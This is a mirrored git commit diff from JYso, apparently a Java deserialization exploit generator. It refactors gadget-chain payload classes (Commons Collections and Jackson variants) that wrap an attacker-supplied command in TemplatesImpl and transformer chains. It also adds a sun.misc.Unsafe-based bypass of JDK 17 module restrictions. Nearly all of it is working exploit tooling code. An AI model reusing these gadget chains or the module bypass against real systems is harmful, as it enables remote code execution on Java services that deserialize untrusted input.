mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
style: 删除冗余代码
This commit is contained in:
@@ -12,7 +12,6 @@ import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
|||||||
import org.apache.commons.collections.map.LazyMap;
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
@@ -22,6 +21,7 @@ public class CommonsCollections10 implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Object templates;
|
final Object templates;
|
||||||
|
|
||||||
templates = Gadgets.createTemplatesImpl(command);
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
// 使用 InstantiateFactory 代替 InstantiateTransformer
|
// 使用 InstantiateFactory 代替 InstantiateTransformer
|
||||||
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
|
InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates});
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ public class CommonsCollectionsK2 implements ReleaseableObjectPayload<Object> {
|
|||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Object templates;
|
final Object templates;
|
||||||
|
|
||||||
templates = Gadgets.createTemplatesImpl(command);
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||||
HashMap<String, String> innerMap = new HashMap<String, String>();
|
HashMap<String, String> innerMap = new HashMap<String, String>();
|
||||||
|
|||||||
@@ -19,13 +19,13 @@ public class CommonsCollectionsK4 implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
|
||||||
final Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
|
Transformer[] transformers = (Transformer[]) TransformerUtil.makeTransformer(command);
|
||||||
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
|
||||||
Map innerMap = new HashMap();
|
Map innerMap = new HashMap();
|
||||||
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
|
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);
|
||||||
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
|
TiedMapEntry tme = new TiedMapEntry(outerMap, "QI4L");
|
||||||
Map expMap = new HashMap();
|
Map expMap = new HashMap();
|
||||||
expMap.put(tme, "QI4L");
|
expMap.put(tme, "QI5L");
|
||||||
outerMap.remove("QI4L");
|
outerMap.remove("QI4L");
|
||||||
|
|
||||||
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
|
||||||
|
|||||||
@@ -2,21 +2,16 @@ package com.qi4l.JYso.gadgets;
|
|||||||
|
|
||||||
import com.fasterxml.jackson.databind.node.POJONode;
|
import com.fasterxml.jackson.databind.node.POJONode;
|
||||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
|
|
||||||
import javassist.ClassClassPath;
|
import javassist.ClassClassPath;
|
||||||
import sun.misc.Unsafe;
|
|
||||||
|
|
||||||
import org.springframework.aop.framework.AdvisedSupport;
|
import org.springframework.aop.framework.AdvisedSupport;
|
||||||
|
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtMethod;
|
import javassist.CtMethod;
|
||||||
import weblogic.apache.xpath.objects.XObject;
|
|
||||||
|
|
||||||
import javax.swing.event.EventListenerList;
|
|
||||||
import javax.swing.undo.UndoManager;
|
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
|
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
@@ -24,8 +19,6 @@ import java.lang.reflect.InvocationHandler;
|
|||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
|
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.Comparator;
|
|
||||||
import java.util.Vector;
|
import java.util.Vector;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
|
||||||
@@ -65,50 +58,6 @@ public class Jackson3 implements ObjectPayload<Object> {
|
|||||||
return list;
|
return list;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static Method getMethod(Class clazz, String methodName, Class[] params) {
|
|
||||||
Method method = null;
|
|
||||||
while (clazz != null) {
|
|
||||||
try {
|
|
||||||
method = clazz.getDeclaredMethod(methodName, params);
|
|
||||||
break;
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return method;
|
|
||||||
}
|
|
||||||
|
|
||||||
private static Unsafe getUnsafe() {
|
|
||||||
Unsafe unsafe = null;
|
|
||||||
try {
|
|
||||||
Field field = Unsafe.class.getDeclaredField("theUnsafe");
|
|
||||||
field.setAccessible(true);
|
|
||||||
unsafe = (Unsafe) field.get(null);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new AssertionError(e);
|
|
||||||
}
|
|
||||||
return unsafe;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void bypassModule(ArrayList<Class> classes) {
|
|
||||||
try {
|
|
||||||
Unsafe unsafe = getUnsafe();
|
|
||||||
Class currentClass = this.getClass();
|
|
||||||
try {
|
|
||||||
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
|
|
||||||
if (getModuleMethod != null) {
|
|
||||||
for (Class aClass : classes) {
|
|
||||||
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
|
|
||||||
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||||
Field field = null;
|
Field field = null;
|
||||||
Class c = obj.getClass();
|
Class c = obj.getClass();
|
||||||
@@ -140,14 +89,15 @@ public class Jackson3 implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
ArrayList<Class> classes = new ArrayList<>();
|
//ArrayList<Class> classes = new ArrayList <>();
|
||||||
classes.add(TemplatesImpl.class);
|
//classes.add(TemplatesImpl.class);
|
||||||
classes.add(POJONode.class);
|
//classes.add(POJONode.class);
|
||||||
classes.add(EventListenerList.class);
|
//classes.add(EventListenerList.class);
|
||||||
classes.add(Jackson3.class);
|
//classes.add(Jackson3.class);
|
||||||
classes.add(Field.class);
|
//classes.add(Field.class);
|
||||||
classes.add(Method.class);
|
//classes.add(Method.class);
|
||||||
new Jackson3().bypassModule(classes);
|
//new jdk17Bypass().bypassModule(classes);
|
||||||
|
|
||||||
|
|
||||||
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
||||||
|
|
||||||
|
|||||||
@@ -1,16 +1,15 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils;
|
package com.qi4l.JYso.gadgets.utils;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.CommonsCollectionsK2;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||||
import javassist.ClassClassPath;
|
import javassist.ClassClassPath;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtConstructor;
|
import javassist.CtConstructor;
|
||||||
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.*;
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.lang.reflect.InvocationHandler;
|
|
||||||
import java.lang.reflect.Proxy;
|
|
||||||
import java.util.Base64;
|
import java.util.Base64;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Hashtable;
|
import java.util.Hashtable;
|
||||||
@@ -75,6 +74,17 @@ public class Gadgets extends ClassLoader {
|
|||||||
return map;
|
return map;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private static void patchModule(Class clazz, Class goalclass) {
|
||||||
|
try {
|
||||||
|
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
Unsafe unsafe = (Unsafe) unsafeField.get(null);
|
||||||
|
Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass);
|
||||||
|
unsafe.getAndSetObject(clazz, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), ObjectModule);
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public static Object createTemplatesImpl(String command) throws Exception {
|
public static Object createTemplatesImpl(String command) throws Exception {
|
||||||
command = command.trim();
|
command = command.trim();
|
||||||
@@ -88,6 +98,7 @@ public class Gadgets extends ClassLoader {
|
|||||||
byte[] classBytes = new byte[0];
|
byte[] classBytes = new byte[0];
|
||||||
String newClassName = generateClassName();
|
String newClassName = generateClassName();
|
||||||
|
|
||||||
|
|
||||||
final Object templates = TPL_CLASS.newInstance();
|
final Object templates = TPL_CLASS.newInstance();
|
||||||
POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET));
|
POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET));
|
||||||
CtClass superClass = POOL.get(ABST_TRANSLET.getName());
|
CtClass superClass = POOL.get(ABST_TRANSLET.getName());
|
||||||
@@ -163,10 +174,8 @@ public class Gadgets extends ClassLoader {
|
|||||||
}
|
}
|
||||||
|
|
||||||
CtClass ctClass = null;
|
CtClass ctClass = null;
|
||||||
byte[] classBytes = new byte[0];
|
|
||||||
String newClassName = generateClassName();
|
String newClassName = generateClassName();
|
||||||
|
|
||||||
final Object templates = TPL_CLASS.newInstance();
|
|
||||||
POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET));
|
POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET));
|
||||||
CtClass superClass = POOL.get(ABST_TRANSLET.getName());
|
CtClass superClass = POOL.get(ABST_TRANSLET.getName());
|
||||||
|
|
||||||
@@ -231,10 +240,8 @@ public class Gadgets extends ClassLoader {
|
|||||||
}
|
}
|
||||||
|
|
||||||
CtClass ctClass = null;
|
CtClass ctClass = null;
|
||||||
byte[] classBytes = new byte[0];
|
|
||||||
String newClassName = generateClassName();
|
String newClassName = generateClassName();
|
||||||
|
|
||||||
final Object templates = TPL_CLASS.newInstance();
|
|
||||||
POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET));
|
POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET));
|
||||||
CtClass superClass = POOL.get(ABST_TRANSLET.getName());
|
CtClass superClass = POOL.get(ABST_TRANSLET.getName());
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,53 @@
|
|||||||
|
package com.qi4l.JYso.gadgets.utils;
|
||||||
|
|
||||||
|
import sun.misc.Unsafe;
|
||||||
|
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
|
||||||
|
public class jdk17Bypass {
|
||||||
|
private static Method getMethod(Class clazz, String methodName, Class[] params) {
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, params);
|
||||||
|
break;
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return method;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Unsafe getUnsafe() {
|
||||||
|
Unsafe unsafe = null;
|
||||||
|
try {
|
||||||
|
Field field = Unsafe.class.getDeclaredField("theUnsafe");
|
||||||
|
field.setAccessible(true);
|
||||||
|
unsafe = (Unsafe) field.get(null);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new AssertionError(e);
|
||||||
|
}
|
||||||
|
return unsafe;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void bypassModule(ArrayList<Class> classes) {
|
||||||
|
try {
|
||||||
|
Unsafe unsafe = getUnsafe();
|
||||||
|
Class currentClass = this.getClass();
|
||||||
|
try {
|
||||||
|
Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
|
||||||
|
if (getModuleMethod != null) {
|
||||||
|
for (Class aClass : classes) {
|
||||||
|
Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
|
||||||
|
unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user